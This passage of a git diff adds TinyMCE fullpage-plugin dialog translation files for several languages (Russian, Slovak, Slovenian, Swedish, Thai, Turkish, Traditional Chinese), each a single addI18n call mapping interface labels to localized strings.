b/js/tiny_mce/plugins/fullpage/langs/ru_dlg.js new file mode 100755 index 0000000..1ae10de --- /dev/null +++ b/js/tiny_mce/plugins/fullpage/langs/ru_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ru.fullpage_dlg',{title:"\u0421\u0432\u043e\u0439\u0441\u0442\u0432\u0430 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430","meta_tab":"\u041e\u0431\u0449\u0435\u0435","appearance_tab":"\u0412\u0438\u0434","advanced_tab":"\u0414\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u043e","meta_props":"\u0426\u0435\u043b\u044c \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438",langprops:"\u042f\u0437\u044b\u043a \u0438 \u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f","meta_title":"\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a","meta_keywords":"\u041a\u043b\u044e\u0447\u0435\u0432\u044b\u0435 \u0441\u043b\u043e\u0432\u0430","meta_description":"\u041e\u043f\u0438\u0441\u0430\u043d\u0438\u0435","meta_robots":"\u0420\u0430\u0431\u043e\u0442\u044b",doctypes:"\u0422\u0438\u043f",langcode:"\u041a\u043e\u0434 \u044f\u0437\u044b\u043a\u0430",langdir:"\u041d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0442\u0435\u043a\u0441\u0442\u0430",ltr:"\u0421\u043b\u0435\u0432\u0430 \u043d\u0430\u043f\u0440\u0430\u0432\u043e",rtl:"\u0421\u043f\u0440\u0430\u0432\u0430 \u043d\u0430\u043b\u0435\u0432\u043e","xml_pi":"\u041e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u0438\u0435 XML",encoding:"\u041a\u043e\u0434\u0438\u0440\u043e\u0432\u043a\u0430","appearance_bgprops":"\u0421\u0432\u043e\u0439\u0441\u0442\u0432\u0430 \u0444\u043e\u043d\u0430","appearance_marginprops":"\u041e\u0442\u0441\u0442\u0443\u043f\u044b","appearance_linkprops":"\u0426\u0432\u0435\u0442 \u0441\u0441\u044b\u043b\u043e\u043a","appearance_textprops":"\u0421\u0432\u043e\u0439\u0441\u0442\u0432\u0430 \u0442\u0435\u043a\u0441\u0442\u0430",bgcolor:"\u0426\u0432\u0435\u0442 \u0444\u043e\u043d\u0430",bgimage:"\u0424\u043e\u043d\u043e\u0432\u043e\u0435 \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435","left_margin":"\u041e\u0442\u0441\u0442\u0443\u043f \u0441\u043b\u0435\u0432\u0430","right_margin":"\u041e\u0442\u0441\u0442\u0443\u043f \u0441\u043f\u0440\u0430\u0432\u0430","top_margin":"\u041e\u0442\u0441\u0442\u0443\u043f \u0441\u0432\u0435\u0440\u0445\u0443","bottom_margin":"\u041e\u0442\u0441\u0442\u0443\u043f \u0441\u043d\u0438\u0437\u0443","text_color":"\u0426\u0432\u0435\u0442 \u0442\u0435\u043a\u0441\u0442\u0430","font_size":"\u0420\u0430\u0437\u043c\u0435\u0440 \u0448\u0440\u0438\u0444\u0442\u0430","font_face":"\u0428\u0440\u0438\u0444\u0442","link_color":"\u0426\u0432\u0435\u0442 \u0441\u0441\u044b\u043b\u043a\u0438","hover_color":"\u0426\u0432\u0435\u0442 \u0441\u0441\u044b\u043b\u043a\u0438 \u043f\u0440\u0438 \u043d\u0430\u0432\u0435\u0434\u0435\u043d\u0438\u0438","visited_color":"\u0426\u0432\u0435\u0442 \u043d\u0430\u0436\u0430\u0442\u043e\u0439 \u0441\u0441\u044b\u043b\u043a\u0438","active_color":"\u0426\u0432\u0435\u0442 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0439 \u0441\u0441\u044b\u043b\u043a\u0438",textcolor:"\u0426\u0432\u0435\u0442",fontsize:"\u0420\u0430\u0437\u043c\u0435\u0440 \u0448\u0440\u0438\u0444\u0442\u0430",fontface:"\u0421\u0435\u043c\u0435\u0439\u0441\u0442\u0432\u043e \u0448\u0440\u0438\u0444\u0442\u043e\u0432","meta_index_follow":"Index and follow the links","meta_index_nofollow":"Index and don\'t follow the links","meta_noindex_follow":"Do not index but follow the links","meta_noindex_nofollow":"Do not index and don \\ \'t follow the links","appearance_style":"\u041b\u0438\u0441\u0442 \u0438 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u0430 \u0441\u0442\u0438\u043b\u0435\u0439",stylesheet:"\u041b\u0438\u0441\u0442 \u0441\u0442\u0438\u043b\u0435\u0439",style:"\u0421\u0442\u0438\u043b\u044c",author:"\u0410\u0432\u0442\u043e\u0440",copyright:"\u041a\u043e\u043f\u0438\u0440\u0430\u0439\u0442",add:"\u0414\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u043d\u043e\u0432\u044b\u0439 \u044d\u043b\u0435\u043c\u0435\u043d\u0442",remove:"\u0423\u0434\u0430\u043b\u0438\u0442\u044c \u0432\u044b\u0434\u0435\u043b\u0435\u043d\u043d\u044b\u0439 \u044d\u043b\u0435\u043c\u0435\u043d\u0442",moveup:"\u041f\u0435\u0440\u0435\u043c\u0435\u0441\u0442\u0438\u0442\u044c \u044d\u043b\u0435\u043c\u0435\u043d\u0442 \u0432\u0432\u0435\u0440\u0445",movedown:"\u041f\u0435\u0440\u0435\u043c\u0435\u0441\u0442\u0438\u0442\u044c \u044d\u043b\u0435\u043c\u0435\u043d\u0442 \u0432\u043d\u0438\u0437","head_elements":"\u042d\u043b\u0435\u043c\u0435\u043d\u0442 Header",info:"\u0418\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f","add_title":"\u042d\u043b\u0435\u043c\u0435\u043d\u0442 Title","add_meta":"\u042d\u043b\u0435\u043c\u0435\u043d\u0442 Meta","add_script":"\u042d\u043b\u0435\u043c\u0435\u043d\u0442 Script","add_style":"\u042d\u043b\u0435\u043c\u0435\u043d\u0442 Style","add_link":"\u042d\u043b\u0435\u043c\u0435\u043d\u0442 Link","add_base":"\u042d\u043b\u0435\u043c\u0435\u043d\u0442 Base","add_comment":"\u041a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0439","title_element":"\u042d\u043b\u0435\u043c\u0435\u043d\u0442 Title","script_element":"\u042d\u043b\u0435\u043c\u0435\u043d\u0442 Script","style_element":"\u042d\u043b\u0435\u043c\u0435\u043d\u0442 Style","base_element":"\u042d\u043b\u0435\u043c\u0435\u043d\u0442 Base","link_element":"\u042d\u043b\u0435\u043c\u0435\u043d\u0442 Link","meta_element":"\u042d\u043b\u0435\u043c\u0435\u043d\u0442 Meta","comment_element":"\u041a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0439",src:"Src",language:"\u042f\u0437\u044b\u043a",href:"\u0441\u0441\u044b\u043b\u043a\u0430",target:"\u0426\u0435\u043b\u044c",type:"Type",charset:"\u041a\u043e\u0434\u0438\u0440\u043e\u0432\u043a\u0430",defer:"\u041e\u0442\u0441\u0440\u043e\u0447\u043a\u0430",media:"\u041c\u0435\u0434\u0438\u0430",properties:"\u041f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b",name:"\u041d\u0430\u0437\u0432\u0430\u043d\u0438\u0435",value:"\u0417\u043d\u0430\u0447\u0435\u043d\u0438\u0435",content:"\u0421\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435",rel:"Rel",rev:"Rev",hreflang:"\u042f\u0437\u044b\u043a \u0441\u0441\u044b\u043b\u043a\u0438","general_props":"\u041e\u0431\u0449\u0435\u0435","advanced_props":"\u0414\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u043e"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/fullpage/langs/sk_dlg.js b/js/tiny_mce/plugins/fullpage/langs/sk_dlg.js new file mode 100755 index 0000000..4c7a853 --- /dev/null +++ b/js/tiny_mce/plugins/fullpage/langs/sk_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('sk.fullpage_dlg',{title:"Vlastnosti dokumentu","meta_tab":"Obecn\u00e9","appearance_tab":"Vzh\u013ead","advanced_tab":"Roz\u0161\u00edren\u00e9","meta_props":"Meta inform\u00e1cie",langprops:"Jazyk a k\u00f3dovanie","meta_title":"Titulok","meta_keywords":"K\u013e\u00fa\u010dov\u00e9 slov\u00e1","meta_description":"Popis","meta_robots":"Roboti",doctypes:"Typ dokumentu",langcode:"K\u00f3d jazyka",langdir:"Smer textu",ltr:"Z\u013eava doprava",rtl:"Sprava do\u013eava","xml_pi":"XML deklar\u00e1cia",encoding:"K\u00f3dovanie","appearance_bgprops":"Vlastnosti pozadia","appearance_marginprops":"Okraje tela dokumentu","appearance_linkprops":"Vlastnosti odkazov","appearance_textprops":"Vlastnosti textu",bgcolor:"Farba pozadia",bgimage:"Obr\u00e1zok pozadia","left_margin":"\u013dav\u00fd okraj","right_margin":"Prav\u00fd okraj","top_margin":"Horn\u00fd okraj","bottom_margin":"Doln\u00fd okraj","text_color":"Farba textu","font_size":"Ve\u013ekos\u0165 p\u00edsma","font_face":"Typ p\u00edsma","link_color":"Farba odkazu","hover_color":"Farba vybrat\u00e9ho odkazu","visited_color":"Farba nav\u0161t\u00edven\u00e9ho odkazu","active_color":"Farba akt\u00edvneho odkazu",textcolor:"Farba",fontsize:"Ve\u013ekos\u0165 p\u00edsma",fontface:"Typ p\u00edsma","meta_index_follow":"Indexova\u0165 a n\u00e1sledova\u0165 odkazy","meta_index_nofollow":"Indexova\u0165 a nen\u00e1sledova\u0165 odkazy","meta_noindex_follow":"Neindexova\u0165, ale n\u00e1sledova\u0165 odkazy","meta_noindex_nofollow":"Neindexova\u0165 a nen\u00e1sledova\u0165 odkazy","appearance_style":"Vlastnosti \u0161t\u00fdlov",stylesheet:"\u0160t\u00fdlopis",style:"\u0160t\u00fdl",author:"Autor",copyright:"Autorsk\u00e9 pr\u00e1va",add:"Prida\u0165 nov\u00fd element",remove:"Odstr\u00e1ni\u0165 ozna\u010den\u00fd element",moveup:"Presun\u00fa\u0165 ozna\u010den\u00fd element vy\u0161\u0161ie ",movedown:"Presun\u00fa\u0165 ozna\u010den\u00fd element ni\u017e\u0161ie","head_elements":"Hlavi\u010dky",info:"Inform\u00e1cie","add_title":"Vlo\u017ei\u0165 titulok","add_meta":"Vlo\u017ei\u0165 meta inform\u00e1cie","add_script":"Vlo\u017ei\u0165 skript","add_style":"Vlo\u017ei\u0165 \u0161t\u00fdl","add_link":"Vlo\u017ei\u0165 nezobrazovan\u00fd odkaz","add_base":"Vlo\u017ei\u0165 z\u00e1kladn\u00e9 umiestnenie","add_comment":"Vlo\u017ei\u0165 koment\u00e1r","title_element":"Titulok","script_element":"Skript","style_element":"\u0160t\u00fdl","base_element":"Z\u00e1kladn\u00e9 umiestnenie","link_element":"Nezobrazovan\u00fd odkaz","meta_element":"Meta inform\u00e1cie","comment_element":"Koment\u00e1r",src:"Zdroj",language:"Jazyk",href:"S\u00fabor/URL",target:"Cie\u013e",type:"Typ",charset:"K\u00f3dovanie",defer:"Odlo\u017ei\u0165 (defer)",media:"M\u00e9di\u00e1",properties:"Vlastnosti",name:"N\u00e1zov",value:"Hodnota",content:"Obsah",rel:"Vz\u0165ah str\u00e1nky k cie\u013eu",rev:"Vz\u0165ah cie\u013ea k str\u00e1nke",hreflang:"Jazyk odkazu","general_props":"Obecn\u00e9 parametre","advanced_props":"Roz\u0161\u00edren\u00e9 parametre"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/fullpage/langs/sl_dlg.js b/js/tiny_mce/plugins/fullpage/langs/sl_dlg.js new file mode 100755 index 0000000..bb71c20 --- /dev/null +++ b/js/tiny_mce/plugins/fullpage/langs/sl_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('sl.fullpage_dlg',{title:"Lastnosti dokumenta","meta_tab":"Splo\u0161no","appearance_tab":"Izgled","advanced_tab":"Napredno","meta_props":"Meta podatki",langprops:"Jezik in kodiranje","meta_title":"Naslov","meta_keywords":"Klju\u010dne besede","meta_description":"Opis","meta_robots":"Roboti",doctypes:"Doctype",langcode:"Koda jezika",langdir:"Smer pisave",ltr:"Od leve proti desni",rtl:"Od desne proti levi","xml_pi":"Najava XML",encoding:"Kodiranje znakov","appearance_bgprops":"Lastnosti ozadja","appearance_marginprops":"Robovi telesa","appearance_linkprops":"Barve povezav","appearance_textprops":"Lastnosti besedila",bgcolor:"Barva ozadja",bgimage:"Slika ozadja","left_margin":"Levi rob","right_margin":"Desni rob","top_margin":"Zgornji rob","bottom_margin":"Spodnji rob","text_color":"Barva pisave","font_size":"Velikost pisave","font_face":"Vrsta pisave","link_color":"Barva povezave","hover_color":"Barva nakazane povezave","visited_color":"Barva obiskane povezave","active_color":"Barva dejavne povezave",textcolor:"Barva",fontsize:"Velikost pisave",fontface:"Dru\u017eina pisave","meta_index_follow":"Indeksiraj in sledi povezavam","meta_index_nofollow":"Indeksiraj a ne sledi povezavam","meta_noindex_follow":"Ne indeksiraj a sledi pvoezavams","meta_noindex_nofollow":"Ne indeksiraj in ne sledi povezavam","appearance_style":"Lastnosti slogov",stylesheet:"Slogi",style:"Slog",author:"Avtor",copyright:"Copyright",add:"Dodaj element",remove:"Odstrani izbrani element",moveup:"Premakni izbrani element navzgor",movedown:"Premakni izbrani element navzdol","head_elements":"Elementi glave",info:"Informacija","add_title":"element Title","add_meta":"element Meta","add_script":"element Script","add_style":"element Style","add_link":"element Link","add_base":"element Base","add_comment":"komentar","title_element":"element Title","script_element":"element Script","style_element":"element Style","base_element":"element Base","link_element":"element Link","meta_element":"element Meta","comment_element":"komentar",src:"Src",language:"Language",href:"Href",target:"Target",type:"Type",charset:"Charset",defer:"Defer",media:"Media",properties:"Lastnosti",name:"ime",value:"vrednost",content:"vsebina",rel:"Rel",rev:"Rev",hreflang:"Href lang","general_props":"Splo\u0161no","advanced_props":"Napredno"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/fullpage/langs/sv_dlg.js b/js/tiny_mce/plugins/fullpage/langs/sv_dlg.js new file mode 100755 index 0000000..c141b23 --- /dev/null +++ b/js/tiny_mce/plugins/fullpage/langs/sv_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('sv.fullpage_dlg',{title:"Dokumentinst\u00e4llningar","meta_tab":"Generella","appearance_tab":"Utseende","advanced_tab":"Avancerat","meta_props":"Metainformation",langprops:"Spr\u00e5k och kodning","meta_title":"Titel","meta_keywords":"Nyckelord","meta_description":"Bekrivning","meta_robots":"Robots",doctypes:"Doctype",langcode:"Spr\u00e5kkod",langdir:"Skriftriktning",ltr:"V\u00e4nster till h\u00f6ger",rtl:"H\u00f6ger till v\u00e4nster","xml_pi":"XML deklaration",encoding:"Teckenkodning","appearance_bgprops":"Bakgrundsinst\u00e4llningar","appearance_marginprops":"Body marginaler","appearance_linkprops":"L\u00e4nkf\u00e4rger","appearance_textprops":"Textinst\u00e4llningar",bgcolor:"Bakgrundsf\u00e4rg",bgimage:"Bakgrundsbild","left_margin":"V\u00e4nstermarginal","right_margin":"H\u00f6germarginal","top_margin":"Toppmarginal","bottom_margin":"Bottenmarginal","text_color":"Textf\u00e4rg","font_size":"Textstorlek","font_face":"Textstil","link_color":"L\u00e4nkf\u00e4rg","hover_color":"Hover f\u00e4rg","visited_color":"Visited f\u00e4rg","active_color":"Active f\u00e4rg",textcolor:"F\u00e4rg",fontsize:"Textstorlek",fontface:"Textstil","meta_index_follow":"Indexera och f\u00f6lj l\u00e4nkar","meta_index_nofollow":"Indexera men f\u00f6lj ej l\u00e4nkar","meta_noindex_follow":"Indexera inte men f\u00f6lj l\u00e4nkar","meta_noindex_nofollow":"Indexera inte och f\u00f6lj ej l\u00e4nkar","appearance_style":"Stilmall och stilegenskaper",stylesheet:"Stilmall",style:"Stil",author:"F\u00f6rfattare",copyright:"Copyright",add:"L\u00e4gg till element",remove:"Radera det markerade elementet",moveup:"Flytta det markerade elementet upp\u00e5t",movedown:"Flytta det markerade elementet ned\u00e5t","head_elements":"Head element",info:"Information","add_title":"Titel-element","add_meta":"Meta-element","add_script":"Script-element","add_style":"Stil-element","add_link":"L\u00e4nk-element","add_base":"Base-element","add_comment":"Kommentarsnod","title_element":"Titel-element","script_element":"Script-element","style_element":"Style-element","base_element":"Base-element","link_element":"Link-element","meta_element":"Meta-element","comment_element":"Comment-element",src:"Src",language:"Spr\u00e5k",href:"Href",target:"M\u00e5l",type:"Typ",charset:"Teckenupps\u00e4ttning",defer:"Defer",media:"Media",properties:"Egenskaper",name:"Name",value:"Value",content:"Inneh\u00e5ll",rel:"Rel",rev:"Rev",hreflang:"Href lang","general_props":"Generellt","advanced_props":"Avancerat"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/fullpage/langs/th_dlg.js b/js/tiny_mce/plugins/fullpage/langs/th_dlg.js new file mode 100755 index 0000000..2200f9a --- /dev/null +++ b/js/tiny_mce/plugins/fullpage/langs/th_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('th.fullpage_dlg',{title:"\u0e04\u0e38\u0e13\u0e2a\u0e21\u0e1a\u0e31\u0e15\u0e34\u0e40\u0e2d\u0e01\u0e2a\u0e32\u0e23","meta_tab":"\u0e17\u0e31\u0e48\u0e27\u0e44\u0e1b","appearance_tab":"\u0e23\u0e39\u0e1b\u0e25\u0e31\u0e01\u0e29\u0e13\u0e4c","advanced_tab":"\u0e02\u0e31\u0e49\u0e19\u0e2a\u0e39\u0e07","meta_props":"\u0e23\u0e32\u0e22\u0e25\u0e30\u0e40\u0e2d\u0e35\u0e22\u0e14\u0e40\u0e21\u0e15\u0e49\u0e32",langprops:"\u0e20\u0e32\u0e29\u0e32 \u0e41\u0e25\u0e30 \u0e01\u0e32\u0e23\u0e40\u0e02\u0e49\u0e32\u0e23\u0e2b\u0e31\u0e2a","meta_title":"\u0e0a\u0e37\u0e48\u0e2d","meta_keywords":"\u0e04\u0e33\u0e2a\u0e33\u0e04\u0e31\u0e0d","meta_description":"\u0e23\u0e32\u0e22\u0e25\u0e30\u0e40\u0e2d\u0e35\u0e22\u0e14","meta_robots":"Robots",doctypes:"Doctype",langcode:"\u0e42\u0e04\u0e4a\u0e14\u0e20\u0e32\u0e29\u0e32",langdir:"\u0e17\u0e34\u0e28\u0e17\u0e32\u0e07\u0e01\u0e32\u0e23\u0e2d\u0e48\u0e32\u0e19",ltr:"\u0e0b\u0e49\u0e32\u0e22\u0e44\u0e1b\u0e02\u0e27\u0e32",rtl:"\u0e02\u0e27\u0e32\u0e44\u0e1b\u0e0b\u0e49\u0e32\u0e22","xml_pi":"XML declaration",encoding:"Character encoding","appearance_bgprops":"\u0e04\u0e38\u0e13\u0e2a\u0e21\u0e1a\u0e31\u0e15\u0e34\u0e1e\u0e37\u0e49\u0e19\u0e2b\u0e25\u0e31\u0e07","appearance_marginprops":"Body margins","appearance_linkprops":"\u0e2a\u0e35\u0e25\u0e34\u0e49\u0e07\u0e04\u0e4c","appearance_textprops":"\u0e04\u0e38\u0e13\u0e2a\u0e21\u0e1a\u0e31\u0e15\u0e34\u0e02\u0e49\u0e2d\u0e04\u0e27\u0e32\u0e21",bgcolor:"\u0e1e\u0e37\u0e49\u0e19\u0e2b\u0e25\u0e31\u0e07 color",bgimage:"\u0e1e\u0e37\u0e49\u0e19\u0e2b\u0e25\u0e31\u0e07 image","left_margin":"\u0e02\u0e2d\u0e1a\u0e0b\u0e49\u0e32\u0e22","right_margin":"\u0e02\u0e2d\u0e1a\u0e02\u0e27\u0e32","top_margin":"\u0e02\u0e2d\u0e1a\u0e1a\u0e21","bottom_margin":"\u0e02\u0e2d\u0e1a\u0e25\u0e48\u0e32\u0e07","text_color":"\u0e2a\u0e35\u0e02\u0e49\u0e2d\u0e04\u0e27\u0e32\u0e21","font_size":"\u0e02\u0e19\u0e32\u0e14\u0e15\u0e31\u0e27\u0e2d\u0e31\u0e01\u0e29\u0e23","font_face":"\u0e15\u0e31\u0e27\u0e2d\u0e31\u0e01\u0e29\u0e23","link_color":"\u0e2a\u0e35\u0e25\u0e34\u0e49\u0e07\u0e04\u0e4c","hover_color":"Hover color","visited_color":"Visited color","active_color":"Active color",textcolor:"\u0e2a\u0e35",fontsize:"\u0e02\u0e19\u0e32\u0e14\u0e15\u0e31\u0e27\u0e2d\u0e31\u0e01\u0e29\u0e23",fontface:"\u0e40\u0e25\u0e37\u0e2d\u0e01\u0e15\u0e31\u0e27\u0e2d\u0e01\u0e29\u0e23","meta_index_follow":"Index and follow the \u0e25\u0e34\u0e49\u0e07\u0e04\u0e4cs","meta_index_nofollow":"Index and don\'t follow the \u0e25\u0e34\u0e49\u0e07\u0e04\u0e4cs","meta_noindex_follow":"Do not index but follow the \u0e25\u0e34\u0e49\u0e07\u0e04\u0e4cs","meta_noindex_nofollow":"Do not index and don\\\'t follow the \u0e25\u0e34\u0e49\u0e07\u0e04\u0e4cs","appearance_style":"\u0e23\u0e39\u0e1b\u0e41\u0e1a\u0e1asheet and style properties",stylesheet:"\u0e23\u0e39\u0e1b\u0e41\u0e1a\u0e1asheet",style:"\u0e23\u0e39\u0e1b\u0e41\u0e1a\u0e1a",author:"Author",copyright:"Copyright",add:"Add new element",remove:"Remove selected element",moveup:"Move selected element up",movedown:"Move selected element down","head_elements":"Head elements",info:"Information","add_title":"\u0e0a\u0e37\u0e48\u0e2d element","add_meta":"Meta element","add_script":"Script element","add_style":"\u0e23\u0e39\u0e1b\u0e41\u0e1a\u0e1a element","add_link":"Link element","add_base":"Base element","add_comment":"Comment node","title_element":"\u0e0a\u0e37\u0e48\u0e2d element","script_element":"Script element","style_element":"\u0e23\u0e39\u0e1b\u0e41\u0e1a\u0e1a element","base_element":"Base element","link_element":"Link element","meta_element":"Meta element","comment_element":"Comment",src:"Src",language:"\u0e20\u0e32\u0e29\u0e32",href:"Href",target:"\u0e40\u0e1b\u0e49\u0e32\u0e2b\u0e21\u0e32\u0e22",type:"Type",charset:"Charset",defer:"Defer",media:"Media",properties:"Properties",name:"Name",value:"Value",content:"Content",rel:"Rel",rev:"Rev",hreflang:"Href lang","general_props":"\u0e17\u0e31\u0e48\u0e27\u0e44\u0e1b","advanced_props":"\u0e02\u0e31\u0e49\u0e19\u0e2a\u0e39\u0e07"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/fullpage/langs/tr_dlg.js b/js/tiny_mce/plugins/fullpage/langs/tr_dlg.js new file mode 100755 index 0000000..8f2a44b --- /dev/null +++ b/js/tiny_mce/plugins/fullpage/langs/tr_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('tr.fullpage_dlg',{title:"Belge \u00f6zellikleri","meta_tab":"Genel","appearance_tab":"G\u00f6r\u00fcn\u00fcm","advanced_tab":"Geli\u015fmi\u015f","meta_props":"Meta bilgisi",langprops:"Dil ve kodlama","meta_title":"Ba\u015fl\u0131k","meta_keywords":"Anahtar kelimeler","meta_description":"A\u00e7\u0131klama","meta_robots":"Robotlar",doctypes:"Belge tipi",langcode:"Dil kodu",langdir:"Dil y\u00f6n\u00fc",ltr:"Sa\u011fdan sola",rtl:"Soldan sa\u011fa","xml_pi":"XML tan\u0131m\u0131",encoding:"Karakter kodlamas\u0131","appearance_bgprops":"Arkaplan \u00f6zellikleri","appearance_marginprops":"G\u00f6vde bo\u015fluklar\u0131","appearance_linkprops":"Ba\u011flant\u0131 renkleri","appearance_textprops":"Metin \u00f6zellikleri",bgcolor:"Arkaplan rengi",bgimage:"Arkaplan resmi","left_margin":"Sol bo\u015fluk","right_margin":"Sa\u011f bo\u015fluk","top_margin":"\u00dcst bo\u015fluk","bottom_margin":"Alt bo\u015fluk","text_color":"Metin rengi","font_size":"Yaz\u0131 boyutu","font_face":"Yaz\u0131 tipi","link_color":"Ba\u011flant\u0131 rengi","hover_color":"Fare \u00fcst\u00fcnde rengi","visited_color":"Ziyaret edilmi\u015f ba\u011flant\u0131 rengi","active_color":"Ge\u00e7erli renk",textcolor:"Renk",fontsize:"Yaz\u0131 boyutu",fontface:"Yaz\u0131 tipi","meta_index_follow":"\u0130ndeksle ve ba\u011flant\u0131lar\u0131 izle.","meta_index_nofollow":"\u0130ndeksle ve ba\u011flant\u0131lar\u0131 izleme.","meta_noindex_follow":"\u0130ndeksleme ama ba\u011flant\u0131lar\u0131 izle.","meta_noindex_nofollow":"\u0130ndeksleme ve ba\u011flant\u0131lar\u0131 izleme.","appearance_style":"Stil ve stil sayfas\u0131 \u00f6zellikleri",stylesheet:"Stil sayfas\u0131",style:"Stil",author:"Yazar",copyright:"Telik hakk\u0131",add:"Yeni nesne ekle",remove:"Se\u00e7ili nesneyi kald\u0131r",moveup:"Se\u00e7ili nesneyi yukar\u0131 ta\u015f\u0131",movedown:"Se\u00e7ili nesneyi a\u015fa\u011f\u0131 ta\u015f\u0131","head_elements":"Ba\u015fl\u0131k nesneleri",info:"Bilgi","add_title":"Ba\u015fl\u0131k nesnesi","add_meta":"Meta nesnesi","add_script":"Script nesnesi","add_style":"Stil nesnesi","add_link":"Ba\u011flant\u0131 nesnesi","add_base":"Temel nesne","add_comment":"Yorum d\u00fc\u011f\u00fcm\u00fc","title_element":"Ba\u015fl\u0131k nesnesi","script_element":"Script nesnesi","style_element":"Stil nesnesi","base_element":"Temel nesne","link_element":"Ba\u011flant\u0131 nesnesi","meta_element":"Meta nesnesi","comment_element":"Yorum",src:"Src",language:"Dil",href:"Href",target:"Hedef",type:"Tip",charset:"Karakter seti",defer:"Erteleme",media:"Medya",properties:"\u00d6zellikler",name:"\u0130sim",value:"De\u011fer",content:"\u0130\u00e7erik",rel:"Rel",rev:"Rev",hreflang:"Href dili","general_props":"Genel","advanced_props":"Geli\u015fmi\u015f"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/fullpage/langs/tw_dlg.js b/js/tiny_mce/plugins/fullpage/langs/tw_dlg.js new file mode 100755 index 0000000..25aa134 --- /dev/null +++ b/js/tiny_mce/plugins/fullpage/langs/tw_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('tw.fullpage_dlg',{title:"\u6a94\u6848\u5c6c\u6027","meta_tab":"\u6a19\u6e96","appearance_tab":"\u5916\u89c0","advanced_tab":"\u9032\u968e","meta_props":"Mata\u8a0a\u606f",langprops:"\u8a9e\u8a00\u548c\u7de8\u78bc","meta_title":"\u6a19\u984c","meta_keywords":"\u95dc\u9375\u5b57","meta_description":"\u8aaa\u660e","meta_robots":"Robots",doctypes:"DocType",langcode:"\u6587\u5b57\u7de8\u78bc",langdir:"\u6587\u5b57\u66f8\u5beb\u65b9\u5411",ltr:"\u5f9e\u5de6\u5230\u53f3",rtl:"\u5f9e\u53f3\u5230\u5de6","xml_pi":"XML\u8072\u660e",encoding:"\u5b57\u5143\u7de8\u78bc","appearance_bgprops":"\u80cc\u666f\u984f\u8272","appearance_marginprops":"\u908a\u8ddd","appearance_linkprops":"\u8d85\u9023\u7d50\u984f\u8272","appearance_textprops":"\u6587\u5b57\u5c6c\u6027",bgcolor:"\u80cc\u666f\u984f\u8272",bgimage:"\u80cc\u666f\u5716\u7247","left_margin":"\u5de6\u908a\u8ddd","right_margin":"\u53f3\u908a\u8ddd","top_margin":"\u4e0a\u908a\u8ddd","bottom_margin":"\u4e0b\u908a\u8ddd","text_color":"\u6587\u5b57\u984f\u8272","font_size":"\u6587\u5b57\u5927\u5c0f","font_face":"\u5b57\u9ad4","link_color":"\u8d85\u9023\u7d50\u984f\u8272","hover_color":"Hover \u984f\u8272","visited_color":"Visited \u984f\u8272","active_color":"Active \u984f\u8272",textcolor:"\u984f\u8272",fontsize:"\u6587\u5b57\u5927\u5c0f",fontface:"\u5b57\u9ad4","meta_index_follow":"\u7d22\u5f15\u4e26\u9023\u7d50","meta_index_nofollow":"\u7d22\u5f15\u4f46\u4e0d\u9023\u7d50","meta_noindex_follow":"\u4e0d\u7d22\u5f15\u4f46\u9023\u7d50","meta_noindex_nofollow":"\u4e0d\u7d22\u5f15\u4e5f\u4e0d\u9023\u7d50","appearance_style":"\u6a23\u5f0f\u5217\u8868\u8207\u6a23\u5f0f\u5c6c\u6027",stylesheet:"\u6a23\u5f0f\u5217\u8868",style:"\u6a23\u5f0f",author:"\u4f5c\u8005",copyright:"\u7248\u6b0a\u8072\u660e",add:"\u65b0\u589e\u5143\u7d20",remove:"\u522a\u9664\u9078\u64c7\u5143\u7d20",moveup:"\u4e0a\u79fb\u9078\u64c7\u5143\u7d20",movedown:"\u4e0b\u79fb\u9078\u64c7\u5143\u7d20","head_elements":"Head \u5143\u7d20",info:"\u8cc7\u8a0a","add_title":"Title \u5143\u7d20","add_meta":"Meta \u5143\u7d20","add_script":"Script \u5143\u7d20","add_style":"Style \u5143\u7d20","add_link":"Link \u5143\u7d20","add_base":"Base \u5143\u7d20","add_comment":"\u8a3b\u91cb","title_element":"Title \u5143\u7d20","script_element":"Script \u5143\u7d20","style_element":"Style \u5143\u7d20","base_element":"Base \u5143\u7d20","link_element":"Link \u5143\u7d20","meta_element":"Meta \u5143\u7d20","comment_element":"\u8a3b\u91cb",src:"src",language:"\u8a9e\u8a00",href:"href",target:"\u76ee\u6a19",type:"\u985e\u578b",charset:"\u5b57\u5143\u96c6",defer:"Defer",media:"\u5f71\u7247",properties:"\u5c6c\u6027",name:"\u540d\u7a31",value:"\u503c",content:"\u5167\u5bb9",rel:"rel",rev:"rev",hreflang:"href lang","general_props":"\u4e00\u822c","advanced_props":"\u9032\u968e"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/fullpage/langs/uk_dlg.js b/js/tiny_mce/plugins/fullpage/langs/uk_dlg.js new file mode 100755 index 0000000..f1e6a7f --- /dev/null +++ 